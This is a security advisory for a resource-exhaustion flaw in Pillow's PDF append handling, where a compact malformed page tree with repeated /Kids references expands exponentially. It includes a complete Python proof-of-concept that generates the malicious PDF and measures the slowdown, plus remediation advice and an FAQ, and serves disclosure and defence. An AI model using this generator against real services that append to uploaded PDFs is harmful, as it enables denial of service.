CVE-2026-96640: Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.
An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearizepagetree() without tracking visited or duplicate indirect references.
In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.
This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.
Details
Affected versions
- Package: Pillow - Ecosystem: pip / PyPI - Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling - Runtime-tested affected release: 12.3.0 - Runtime-tested affected development version: 13.0.0.dev0 - Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054 - Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81 - Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD - Likely affected range: >= 5.1.0 - Patched versions: none known
Evidence fact strings:
- Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py
5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), which shipped in 5.1.0.
Technical details
The reachable path is:
1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:
python Image.new("L", (1, 1), 0).save(existingpdffile, format="PDF", append=True)
2. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:
python isappending = im.encoderinfo.get("append", False) filenamestr = filename.decode() if isinstance(filename, bytes) else filename if isappending: existingpdf = PdfParser.PdfParser(f=fp, filename=filenamestr, mode="r+b") else: existingpdf = PdfParser.PdfParser(f=fp, filename=filenamestr, mode="w+b")
3. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:
python self.pagetreeroot = self.readindirect(self.pagesref) self.pages = self.linearizepagetree(self.pagetreeroot) self.origpages = self.pages[:]
4. linearizepagetree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:
python def linearizepagetree( self, node: PdfDict | None = None ) -> list[IndirectReference]: pagenode = node if node is not None else self.pagetreeroot checkformatcondition( pagenode[b"Type"] == b"Pages", "/Type of page tree node is not /Pages" ) pages = [] for kid in pagenode[b"Kids"]: kidobject = self.readindirect(kid) if kidobject[b"Type"] == b"Page": pages.append(kid) else: pages.extend(self.linearizepagetree(node=kidobject)) return pages
5. During append, rewritepages() then iterates the expanded origpages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.
The missing invariant is:
text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/origpages or rewrites pages.
The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.
PoC
Environment used for validation:
- OS/runtime: Linux, Python 3.13.11 - Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Latest release tested: Pillow 12.3.0 - The proof uses only synthetic in-memory PDFs and does not contact the network.
Save this as pocpillowpdfpagetreedag.py:
python #!/usr/bin/env python3 from future import annotations
import io import json import sys import time
from PIL import Image, PdfParser import PIL
def makepagetreepdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"] for objectid in range(2, depth + 3): nextid = objectid + 1 kids = b" ".join(f"{nextid} 0 R".encode("ascii") for in range(fanout)) parent = b"" if objectid == 2 else f" /Parent {objectid - 1} 0 R".encode() objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>") objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))
result = bytearray(b"%PDF-1.4\n") offsets = [0] for objectid, value in enumerate(objects, start=1): offsets.append(len(result)) result.extend(f"{objectid} 0 obj\n".encode("ascii")) result.extend(value) result.extend(b"\nendobj\n")
xrefoffset = len(result) result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii")) result.extend(b"0000000000 65535 f \n") for offset in offsets[1:]: result.extend(f"{offset:010d} 00000 n \n".encode("ascii")) result.extend( f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n" f"startxref\n{xrefoffset}\n%%EOF\n".encode("ascii") ) return bytes(result)
def runcase(depth: int, fanout: int) -> dict[str, object]: payload = makepagetreepdf(depth, fanout) expectedrefs = fanout (depth + 1)
start = time.monotonic() with PdfParser.PdfParser(buf=payload) as pdf: observedrefs = len(pdf.pages) distinctrefs = len(set(pdf.pages)) parseseconds = time.monotonic() - start
output = io.BytesIO(payload) start = time.monotonic() Image.new("L", (1, 1), 0).save(output, format="PDF", append=True) appendseconds = time.monotonic() - start
return { "fanout": fanout, "depth": depth, "inputbytes": len(payload), "expectedrefs": expectedrefs, "observedrefs": observedrefs, "distinctrefs": distinctrefs, "parseseconds": round(parseseconds, 6), "appendseconds": round(appendseconds, 6), "outputbytesafterappend": len(output.getvalue()), }
def main() -> int: depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12 if not 0 <= depth <= 16: raise SystemExit("depth must be between 0 and 16")
linear = runcase(depth, fanout=1) shareddag = runcase(depth, fanout=2)
checks = { "linearcontrolstaysonepage": linear["observedrefs"] == 1, "candidateexpandstoexpectedduplicaterefs": shareddag["observedrefs"] == shareddag["expectedrefs"], "candidatehasonedistinctpageref": shareddag["distinctrefs"] == 1, "candidateinputiscompact": shareddag["inputbytes"] <= 2048, "appendpathprocessedbothinputs": linear["outputbytesafterappend"] > linear["inputbytes"] and shareddag["outputbytesafterappend"] > shareddag["inputbytes"], } result = { "pillowversion": PIL.version, "pillowfile": PIL.file, "depth": depth, "linearcontrol": linear, "shareddagcandidate": shareddag, "checks": checks, "overallpassed": all(checks.values()), } print(json.dumps(result, indent=2, sortkeys=True)) return 0 if result["overallpassed"] else 1
if name == "main": raise SystemExit(main())
Run:
bash python3 pocpillowpdfpagetreedag.py
Expected result:
text "overallpassed": true "linearcontrol": observedrefs == 1 "shareddagcandidate": inputbytes == 1410 "shareddagcandidate": observedrefs == 8192 "shareddagcandidate": distinctrefs == 1
Observed on current main / 13.0.0.dev0:
text 1410-byte input -> 8192 observed page refs -> 9.563007s append
Observed on Pillow 12.3.0:
text Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append
For comparison, the linear control in the same harness uses a comparable-depth page tree with fanout=1; it produces one page reference and completed append in about 0.016 to 0.028 seconds in my validation runs.
Impact
This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's Image.save(..., format="PDF", append=True) route.
The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary Image.open().
Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open().
This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion.
Remediation
Reject duplicate and cyclic page-tree references before constructing self.pages and self.origpages.
One possible fix is to pass traversal state through linearizepagetree():
- Track active /Pages references to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references. - Raise PdfFormatError when the page tree is not an acyclic tree of unique indirect references.
Suggested regression tests:
- A small PDF whose /Kids array repeats the same child /Pages reference should raise PdfFormatError quickly when used through Image.save(..., format="PDF", append=True). - A normal nested linear page tree should continue to append successfully.
Other sources
Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearizepagetree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format="PDF", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/Pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade
bitnami/pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade
pip/pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade
Pillowto a version that resolves this vulnerability.Fixed in 13.0.0
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using Pillow versions 5.1.0 through 12.x are exposed when they append to an attacker-controlled existing PDF with Image.save(..., format="PDF", append=True). Processing ordinary PDFs or creating a PDF without appending to an existing file is not described as affected.
What must an attacker provide to trigger the resource exhaustion?
The attacker needs to supply an existing malformed PDF whose /Pages /Kids arrays repeatedly reference the same child /Pages node. This shared page-tree DAG causes Pillow to expand the same subtree repeatedly while processing the append operation.
What is the impact during exploitation?
A compact malicious PDF can cause exponentially many page references to be expanded, resulting in disproportionate CPU consumption before the append operation completes.
What remediation is available?
Upgrade Pillow to version 13.0.0, which fixes the issue.